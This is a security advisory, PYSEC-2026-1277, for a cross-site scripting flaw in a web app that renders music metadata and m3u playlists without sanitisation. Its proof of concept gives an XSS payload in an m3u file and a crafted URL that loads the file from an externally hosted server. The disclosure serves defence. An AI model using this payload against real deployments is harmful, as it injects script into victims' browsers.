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PYSEC-2026-1277

MediumCVSS 5.4 / 10
Published Jul 7, 2026·Last modified Jul 7, 2026
Affected Components(0)

No affected components available

Description

Summary

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.

Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

  • a user which has the necessary permission for uploading files can upload a song with an artist-name such as <img src=x onerror=alert(document.domain)>
  • an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

PoC

  1. Create a file named song.m3u with the following content. Host this file on an attacker-controlled web server.

    #EXTM3U
#EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)>
http://example.com/audio.mp3

  2. Craft and share the malicious URL:

    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u

Impact

Any user that accesses this malicious URL is impacted.

Risk Scores
Base Score
5.4

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
5.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.40%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Medium severity
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